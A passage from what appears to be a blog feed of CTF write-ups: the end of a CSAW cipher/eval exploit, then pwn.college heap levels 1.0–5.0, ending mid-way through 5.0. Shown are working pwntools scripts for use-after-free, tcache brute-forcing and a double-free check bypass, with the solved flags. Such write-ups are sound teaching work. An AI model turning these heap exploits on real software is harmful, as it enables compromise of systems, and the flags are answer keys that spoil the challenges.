    target.recvuntil(b&quot;&amp;gt; &quot;)

    apost_cipher = None
    for c in alphabet:
        # if ciphertext c -&amp;gt; &quot;&apos;&quot;, then c + &quot;[&quot; + c becomes &quot;&apos;[&apos;&quot; after unwarp, eval(&quot;&apos;[&apos;&quot;) -&amp;gt; prints [
        resp = send_recv_str(c + &quot;[&quot; + c)
        if resp and &quot;[&quot; in resp and resp != &quot;no galaxy&quot;:
            apost_cipher = c
            target.info(
                f&quot;Found apostrophe ciphertext: {apost_cipher!r} (response={resp!r})&quot;
            )
            break

    if not apost_cipher:
        target.failure(&quot;Could not find apostrophe ciphertext. Abort.&quot;)
        target.close()
        sys.exit(1)

    # build cipher -&amp;gt; plaintext mapping by probing apost_cipher + candidate + apost_cipher
    cipher_to_plain = {}
    for c in alphabet:
        resp = send_recv_str(apost_cipher + c + apost_cipher)
        # on success resp is printed plaintext character (single char)
        if resp and resp != &quot;no galaxy&quot;:
            cipher_to_plain[c] = resp[0]
            target.debug(f&quot;cipher {c!r} -&amp;gt; plain {cipher_to_plain[c]!r}&quot;)
        else:
            cipher_to_plain[c] = None

    # the candidate that maps to &quot;&apos;&quot; will have produced no valid eval (None).
    # fill it explicitly using apost_cipher we discovered.
    cipher_to_plain[apost_cipher] = &quot;&apos;&quot;
    target.info(f&apos;Explicitly set cipher {apost_cipher!r} -&amp;gt; plain &quot;\&apos;&quot;&apos;)

    # invert mapping to get plaintext -&amp;gt; ciphertext
    plain_to_cipher = {}
    for c, pch in cipher_to_plain.items():
        if pch is not None:
            # if multiple c map to same pch (shouldn&apos;t), last one wins — but mapping is bijection here
            plain_to_cipher[pch] = c

    # sanity check
    missing = [ch for ch in alphabet if ch not in plain_to_cipher]
    if missing:
        target.warning(f&quot;Missing plaintext-&amp;gt;cipher mappings for: {missing}&quot;)
    else:
        target.info(&quot;Recovered full plaintext-&amp;gt;cipher mapping for a-z and apostrophe.&quot;)

    # helper to encrypt plaintext expression using mapping
    def encrypt_plaintext(expr):
        out = []
        for ch in expr:
            if ch in plain_to_cipher:
                out.append(plain_to_cipher[ch])
            else:
                out.append(ch)
        return &quot;&quot;.join(out)

    # negative index expression using allowed chars only
    def neg_expr(n):
        &quot;&quot;&quot;
        Build an expression that evaluates to -n using only allowed characters.
        Use ~(&apos;a&apos;&amp;lt;&apos;b&apos;) == -2 and ~(&apos;a&apos;&amp;lt;&apos;a&apos;) == -1, combine with +.
        &quot;&quot;&quot;
        q = n // 2
        r = n % 2
        parts = [&quot;~(&apos;a&apos;&amp;lt;&apos;b&apos;)&quot; for _ in range(q)]
        if r:
            parts.append(&quot;~(&apos;a&apos;&amp;lt;&apos;a&apos;)&quot;)
        return &quot;+&quot;.join(parts)

    # ensure we can encrypt &apos;spiral&apos; (all letters present)
    for ch in &quot;spiral&quot;:
        if ch not in plain_to_cipher:
            target.failure(f&quot;Missing mapping for letter {ch!r}. Aborting.&quot;)
            target.close()
            sys.exit(1)
    enc_spiral = encrypt_plaintext(&quot;spiral&quot;)
    target.info(f&quot;Encrypted &apos;spiral&apos; -&amp;gt; {enc_spiral!r}&quot;)

    # dump characters one-by-one using negative indices
    flag_chars = []
    MAX_CHARS = 80
    for i in range(1, MAX_CHARS + 1):
        idx_plain = neg_expr(i)
        expr_plain = f&quot;spiral[{idx_plain}]&quot;
        expr_cipher = encrypt_plaintext(expr_plain)
        resp = send_recv_str(expr_cipher)
        if not resp or resp == &quot;no galaxy&quot;:
            target.info(f&quot;Index -{i} out-of-range or eval error (resp={resp!r}), stop.&quot;)
            break
        ch = resp[0]
        target.info(f&quot;got index -{i}: {repr(ch)}&quot;)
        flag_chars.append(ch)

    flag = &quot;&quot;.join(reversed(flag_chars))
    target.success(f&quot;Recovered flag (partial/full): {flag}&quot;)

    target.close()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;csawctf{g@l@xy_0bserv3r$}&lt;/code&gt;]&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: Program Security (Dynamic Allocator Misuse) series (Completed)</title><link>https://cubeyond.net/posts/write-ups/pwncollege-dynamic-allocator-misuse/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/pwncollege-dynamic-allocator-misuse/</guid><description>Write-ups for pwn.college binary exploitation series.</description><pubDate>Mon, 08 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;悲，这篇博客最早是在 2025-01-25 开始写的，那会儿刚准备开始学堆，结果却因为各种各样的原因（主要是未来路线规划和刚接触堆面对各种陌生的新知识感觉十分害怕，也确实不懂，觉得很难），就去干别的了。没想到一直到 25 年 9 月才重新开始写这篇博客……既然如此，那就干脆把以前写的全删了，从头开始刷这章好了……&lt;/p&gt;
&lt;p&gt;其实发现以前写的多少有点小问题，虽然现在我会的也只是比一开始的时候多了那么一丢丢，只是粗略了解了一点 glibc 堆分配机制而已。总的来说，面对这一章我本质上还是从零开始，差不多吧……&lt;/p&gt;
&lt;h1&gt;Level 1.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Exploit a use-after-free vulnerability to get the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;我就不贴反编译代码了，感觉也没啥好贴的。主要还是说说思路吧：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;read_flag&lt;/code&gt; 会 malloc 330 字节空间，然后将 flag 读到 malloc 返回的地址中。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;puts&lt;/code&gt; 会输出全局变量 &lt;code&gt;ptr&lt;/code&gt; 中的内容，也就是说我们只要想办法让 read_flag 的 malloc 返回的地址与 ptr 保存的地址相同，就可以通过 puts 输出 flag 的内容。&lt;/p&gt;
&lt;p&gt;因为 glibc 堆分配器会从 bins 中寻找并复用大小近似的 free chunk，所以我们可以先通过调用 malloc 分配一块 330 字节的空间，然后 free 掉。这样下次如果还 malloc 330 字节大小的空间就会复用我们第一次 malloc 330 返回的地址。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    log,
    process,
    raw_input,
    remote,
)

FILE = &quot;/challenge/babyheap_level1.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Size: &quot;, str(size))


def free():
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)


def puts():
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)


def read_flag():
    target.sendlineafter(b&quot;: &quot;, b&quot;read_flag&quot;)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def main():
    launch()

    malloc(330)
    free()
    read_flag()
    puts()
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{8_UCfYUIGnvHU86NU1Qe-H6dK1o.0VM3MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 1.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Exploit a use-after-free vulnerability to get the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-10&quot;&gt;Level 1.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    log,
    process,
    raw_input,
    remote,
)

FILE = &quot;/challenge/babyheap_level1.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Size: &quot;, str(size))


def free():
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)


def puts():
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)


def read_flag():
    target.sendlineafter(b&quot;: &quot;, b&quot;read_flag&quot;)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def main():
    launch()

    malloc(618)
    free()
    read_flag()
    puts()
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{8oPO3KqdZU5lZfzl5xftjR2IZif.0lM3MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 2.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Create and exploit a use-after-free vulnerability to get the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;与 &lt;a href=&quot;#level-10&quot;&gt;Level 1&lt;/a&gt; 区别不大。但是在 malloc 存放 flag 的空间时使用的是 &lt;code&gt;rand() % 872 + 128&lt;/code&gt;，这会生成 $[ 0+128,872+128)$ 范围内的随机数。所以我们要么预测它生成什么随机数，要么爆破它落在哪个 bin 中。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://en.cppreference.com/w/c/numeric/random/rand&quot;&gt;rand&lt;/a&gt; 生成的是伪随机数，可以预测。本来想直接 break PRNG 的：&lt;a href=&quot;/posts/pwn-notes/pwn-trick-notes/#%E4%B8%8A%E5%B8%9D%E6%8E%B7%E9%AA%B0%E5%AD%90%E4%B8%8D%E5%85%B6%E5%AE%9E%E6%98%AF%E7%BA%BF%E6%80%A7%E5%90%8C%E4%BD%99&quot;&gt;上帝掷骰子？不，其实是线性同余&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;但是后来发现程序在 &lt;code&gt;__libc_csu_init&lt;/code&gt; 中调用了 &lt;code&gt;flag_seed&lt;/code&gt;，而这个函数内部又调用了 &lt;code&gt;srand(seed)&lt;/code&gt;，它的 seed 是循环异或栈上的数据得来的。虽然在每台机器上运行都会有特定的栈上的数据，但是并不是一个普适的方法，尽管我可以 debug 得到 seed，但是远程就打不通了。所以我们还是用爆破 bins 的方法好了。tcache bins 有限，这个 rand 生成的范围也不是很大，所以还是很容易爆破的。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    log,
    process,
    raw_input,
    remote,
)

FILE = &quot;/challenge/babyheap_level2.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Size: &quot;, str(size))


def free():
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)


def puts():
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)


def read_flag():
    target.sendlineafter(b&quot;: &quot;, b&quot;read_flag&quot;)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def test_size(candidate):
    launch()
    malloc(candidate)
    free()
    read_flag()
    puts()

    response = target.recvall(timeout=0.01)
    if b&quot;pwn.college{&quot; in response:
        target.close()
        return True
    return False


def main():
    for bin in range(0x20, 0x410 + 1, 0x10):
        base_req = bin - 0x10
        ok = test_size(base_req)
        if ok:
            log.success(
                f&quot;Found working requested size: {hex(base_req)} for tcache bin {hex(bin)}&quot;
            )
            return
        log.warning(&quot;Exhausted candidates, none matched.&quot;)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{ME7LG_Jy8T-xEw9H_njxpD2aJ4z.01M3MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 2.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Create and exploit a use-after-free vulnerability to get the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-20&quot;&gt;Level 2.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    log,
    process,
    raw_input,
    remote,
)

FILE = &quot;/challenge/babyheap_level2.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Size: &quot;, str(size))


def free():
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)


def puts():
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)


def read_flag():
    target.sendlineafter(b&quot;: &quot;, b&quot;read_flag&quot;)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def test_size(candidate):
    launch()
    malloc(candidate)
    free()
    read_flag()
    puts()

    response = target.recvall(timeout=0.01)
    if b&quot;pwn.college{&quot; in response:
        target.close()
        return True
    return False


def main():
    for bin in range(0x20, 0x410 + 1, 0x10):
        base_req = bin - 0x10
        ok = test_size(base_req)
        if ok:
            log.success(
                f&quot;Found working requested size: {hex(base_req)} for tcache bin {hex(bin)}&quot;
            )
            return
        log.warning(&quot;Exhausted candidates, none matched.&quot;)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{MihEcPIR1bQBmiQGOoGELSrscgW.0FN3MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 3.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Create and exploit a use-after-free vulnerability to get the flag when multiple allocations occur.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这题和之前也差不多，只不过 &lt;code&gt;ptr&lt;/code&gt; 变成了可以容纳 16 个指针的数组，然后 &lt;code&gt;read_flag&lt;/code&gt; 会 malloc 两次，flag 被写入第二次 malloc 返回的地址中。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    log,
    process,
    raw_input,
    remote,
)

FILE = &quot;/challenge/babyheap_level3.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx))
    target.sendlineafter(b&quot;Size: &quot;, str(size))


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx))


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx))


def read_flag():
    target.sendlineafter(b&quot;: &quot;, b&quot;read_flag&quot;)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def main():
    launch()

    malloc(0, 773)
    malloc(1, 773)
    free(0)
    free(1)
    read_flag()
    puts(0)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{wvvL-j9QzjeoJrOsQS4Vval7exq.0VN3MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 3.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Create and exploit a use-after-free vulnerability to get the flag when multiple allocations occur.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-30&quot;&gt;Level 3.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    log,
    process,
    raw_input,
    remote,
)

FILE = &quot;/challenge/babyheap_level3.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx))
    target.sendlineafter(b&quot;Size: &quot;, str(size))


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx))


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx))


def read_flag():
    target.sendlineafter(b&quot;: &quot;, b&quot;read_flag&quot;)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def main():
    launch()

    malloc(0, 911)
    malloc(1, 911)
    free(0)
    free(1)
    read_flag()
    puts(0)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{wDLulwEpEQfpi78_Z4CAniTrByQ.0lN3MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 4.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Corrupt the TCACHE entry_struct value to get the flag when multiple allocations occur.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;变变变，围绕一个特定的主题，逐步递增难度，最后产生各种不同的变式，这就是我最喜欢 pwn.college 的地方，对于学习各种利用姿势来说非常友好。&lt;/p&gt;
&lt;p&gt;这题回到了一开始的样子，&lt;code&gt;ptr&lt;/code&gt; 是一个全局变量，用于保存 malloc 返回的指针。&lt;code&gt;read_flag&lt;/code&gt; 延续了上题的风格，会 malloc 两次，flag 被写到第二次 malloc 返回的地址中。&lt;/p&gt;
&lt;p&gt;此外，新增了下面这个 &lt;code&gt;scanf&lt;/code&gt; 功能：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;      if ( strcmp(s1, &quot;scanf&quot;) )
        break;
      v3 = malloc_usable_size(ptr);
      sprintf(s1, &quot;%%%us&quot;, v3);
      v4 = malloc_usable_size(ptr);
      printf(&quot;[*] scanf(\&quot;%%%us\&quot;, allocations[%d])\n&quot;, v4, 0);
      __isoc99_scanf(s1, ptr);
      puts(byte_246E);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;它先通过 &lt;code&gt;malloc_usable_size(ptr)&lt;/code&gt; 确定 ptr 保存的地址的 data 部分大小，然后通过 &lt;code&gt;sprintf(s1, &quot;%%%us&quot;, v3)&lt;/code&gt; 动态生成格式化字符串，写入 &lt;code&gt;s1&lt;/code&gt; 中。&lt;code&gt;%%%us&lt;/code&gt; 会先解析出一个 &lt;code&gt;%&lt;/code&gt;，然后 &lt;code&gt;%u&lt;/code&gt; 被解析为一个 &lt;code&gt;unsigned int&lt;/code&gt;，最后加上 &lt;code&gt;s&lt;/code&gt;，也就是根据 &lt;code&gt;v4&lt;/code&gt; 动态生成 &lt;code&gt;%v4s&lt;/code&gt; 这样的格式化字符串。&lt;/p&gt;
&lt;p&gt;之后才是真正的读取输入，&lt;code&gt;__isoc99_scanf(s1, ptr)&lt;/code&gt; 使用 s1 中保存的动态生成的格式化字符串，读取指定大小数据到 ptr 中。&lt;/p&gt;
&lt;p&gt;:::important
tcache / fastbin 都是单链表，只使用了 fd 指针。区别是 tcache 的 fd 指向下一个 free chunk 的 data 区域，而 fastbin 的 fd 指向的是下一个 free chunk 的 metadata 区域。
:::&lt;/p&gt;
&lt;p&gt;上面聊完了程序的大致功能，下面说点正经的做题思路：&lt;/p&gt;
&lt;p&gt;我们 malloc / free 操作都受限于 ptr 指针，这个指针是固定值，而我们又希望 &lt;code&gt;read_flag&lt;/code&gt; 将 flag 地址保存在 ptr 指针中，怎么办？我想了很多方法，起码也得有 5 种奇怪的方案，比如先泄漏堆地址，然后改写 ptr 指针的内容为 flag 的地址……结果最后都掉进了一些奇奇怪怪的 pitfall 里 awww，这里就不展开细说了……最后在某一天清晨，当我洗漱完继续投入到这道题中时，与平日截然相反地，我拿起了纸和笔，试图重新理理思路……结果&lt;a href=&quot;https://memos.cubeyond.net/memos/NmPqpLBtMjrvZmUBMcPy92&quot;&gt;奇迹就发生了&lt;/a&gt;……&lt;/p&gt;
&lt;p&gt;简单来说就是，先 malloc 一块和 flag 需要的大小相同的区域，这时候 ptr 就变成了 malloc 的返回值，然后我们 free 它，它会被丢进 tcachebin 中。这时候如果我们直接调用 read_flag 的话，它的第一个 malloc 肯定会拿到我们刚才 free 掉的那个 chunk，然后因为没有其它空闲 chunk 了，就会从 arena 中开辟一个新的 chunk 出来，这样的话 flag 的地址就永远不会和 ptr 保存的地址相同了……&amp;lt;s&amp;gt;不行！太恶劣了！我绝对不允许这种事情发生在我眼皮底下！&amp;lt;/s&amp;gt;所以，问题的关键就在于我们有没有办法令 read_flag 第二次 malloc 取得的地址和第一次 malloc 取得的一样？很简单，free 两次，tcachebin 中不就有两个一样的 free chunk 了吗？但是这样会触发 double free 检测，程序直接 abort，那么问题就变成了我们应该如何绕过这个检测了。&lt;/p&gt;
&lt;p&gt;这里我们需要研究一下 glibc-2.31 的源码（pwn.college 这一章用的都是 2.31）：&lt;a href=&quot;/posts/pwn-notes/pwn-trick-notes/#%E8%96%9B%E5%AE%9A%E8%B0%94%E7%9A%84-free-chunks-double-free-double-fun-&quot;&gt;薛定谔的 free chunks: Double Free, Double Fun ?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;由于我们有 scanf 功能，可以向 ptr 指向的地址处写入数据，也就是说我们能写入 data 区。scanf 遇到换行则认为输入结束，并将换行替换为 &lt;code&gt;\x00&lt;/code&gt;。我们想让 ptr 在 tcachebin 中出现两次，就可以这么玩：&lt;code&gt;malloc -&amp;gt; free -&amp;gt; scanf -&amp;gt; free -&amp;gt; read_flag -&amp;gt; puts&lt;/code&gt;。至于这条攻击链的具体原理就自己琢磨去吧，我这里就不再过多赘述了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    process,
    raw_input,
    remote,
)

FILE = &quot;/challenge/babyheap_level4.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode(&quot;ascii&quot;))


def free():
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)


def puts():
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)


def scanf(data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendline(data)


def read_flag():
    target.sendlineafter(b&quot;: &quot;, b&quot;read_flag&quot;)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def main():
    launch()

    malloc(542)
    free()
    scanf(b&quot;A&quot; * 8)
    free()
    read_flag()
    puts()
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{oZ6_TOkCX4vXbuU0gTGgGHmYWRJ.01N3MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 4.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Corrupt the TCACHE entry_struct value to get the flag when multiple allocations occur.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-40&quot;&gt;Level 4.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    process,
    raw_input,
    remote,
)

FILE = &quot;/challenge/babyheap_level4.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode(&quot;ascii&quot;))


def free():
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)


def puts():
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)


def scanf(data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendline(data)


def read_flag():
    target.sendlineafter(b&quot;: &quot;, b&quot;read_flag&quot;)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def main():
    launch()

    malloc(708)
    free()
    scanf(b&quot;A&quot; * 8)
    free()
    read_flag()
    puts()
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{MHf4zKVq2DfY5MtZr8YZABG0Z4S.0FO3MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 5.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Apply the TCACHE metadata in an unintended manner to set a value.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这题又是 ptr 数组，&lt;code&gt;read_flag&lt;/code&gt; 将 flag 读到它 malloc 返回的地址加上 16 字节偏移的位置。然后就是新增了一个 &lt;code&gt;puts_flag&lt;/code&gt; 函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    if ( strcmp(s1, &quot;puts_flag&quot;) )
      break;
    if ( *(_QWORD *)size_4 )
      puts(size_4 + 16);
    else
      puts(&quot;Not authorized!&quot;);
